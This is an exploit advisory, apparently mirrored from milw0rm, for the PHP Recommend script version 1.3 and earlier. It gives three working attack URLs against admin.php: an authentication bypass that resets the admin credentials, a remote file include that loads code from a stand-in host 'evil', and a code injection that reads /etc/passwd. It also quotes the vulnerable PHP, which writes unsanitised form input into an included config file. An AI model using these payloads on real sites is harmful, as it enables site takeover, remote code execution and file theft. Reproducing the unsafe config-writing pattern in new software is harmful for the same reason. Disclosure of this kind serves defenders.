php recommend <= 1.3 (ab/rfi/ci) Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

php recommend <=1.3 (ab/rfi/ci) Vulnerabilities, Auth Bypass, RFI, Code Injectio


                                                Php Recommend &#60;=1.3 Authentication Bypass/Remote File Include/Code Injection Exploits


Author: scriptjunkie  scriptjunkie.1 {nospam} googlemail {nospam} com
Condition: RFI:  allow_url_fopen = On
code injection: magic_quotes_gpc = Off

Exploits:
Authentication Bypass:
change admin username and password:
vulnerable.com/admin.php?submit=submit&form_admin_user=USERNAME&form_admin_pass=PASSWORD

RFI:
vulnerable.com/admin.php?submit=submit&form_include_template=http://evil/evil.php

Code Injection:
vulnerable.com/admin.php?submit=submit&form_aula=&#39;;readfile(&#39;/etc/passwd&#39;);&#39;


Vulnerable code in &#34;admin.php&#34;:

if($submit){
$a = &#34;&#39;&#34;;
$b = &#34;&#60;&#34;;
$c = &#34;&#62;&#34;;
$d = &#34;&#34;;
$content = &#34;&#34;.$b.&#34;?php
// Php Recommmend
// Created By Frax.dk
// GNU Licens
// Please do not delete this text
$&#34;.$d.&#34;page = &#39;&#34;.$form_page.&#34;&#39;;
$&#34;.$d.&#34;include_template = &#39;&#34;.$form_include_template.&#34;&#39;;
$&#34;.$d.&#34;cap = &#39;&#34;.$form_cap.&#34;&#39;;
$&#34;.$d.&#34;title = &#39;&#34;.$form_title.&#34;&#39;;
$&#34;.$d.&#34;aula = &#39;&#34;.$form_aula.&#34;&#39;;
$&#34;.$d.&#34;language = &#39;&#34;.$form_language.&#34;&#39;;
$&#34;.$d.&#34;admin_user = &#39;&#34;.$form_admin_user.&#34;&#39;;
$&#34;.$d.&#34;admin_pass = &#39;&#34;.$form_admin_pass.&#34;&#39;;

// -- Maincore -- //

include $&#34;.$d.&#34;include_template;
?&#34;.$c.&#34;&#34;;

$file_name = &#34;phpre_config.php&#34;;
$file = $file_name;
$create_file = fopen($file, &#34;w+&#34;);

if(!$create_file){die(&#34;&#60;td&#62;&#60;span style=&#39;color:red;&#39;&#62;&#60;? echo $error1; ?&#62;&#60;/span&#62;&#60;/td&#62;\n&#34;);}

//attempt to write basic content to the file
if (fwrite($create_file, $content) === FALSE) {
echo &#34;&#60;td&#62;&#60;span style=&#39;color:red;&#39;&#62;&#60;? echo $error2; ?&#62;&#60;/span&#62;&#60;/td&#62;\n&#34;;
}else{echo &#34;Succes&#34;;}
fclose($create_file);


which is reached since the authentication in server.php:
if($user == $admin_user && $admin_pass == $pass){
$error = &#34;false&#34;;
}else{
setcookie(&#34;phpre_user&#34;, &#34;&#34;, time()-3600);
setcookie(&#34;phpre_pass&#34;, &#34;&#34;, time()-3600);
$error = &#34;true&#34;;
}

is not checked sufficiently.

# milw0rm.com [2009-05-11]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1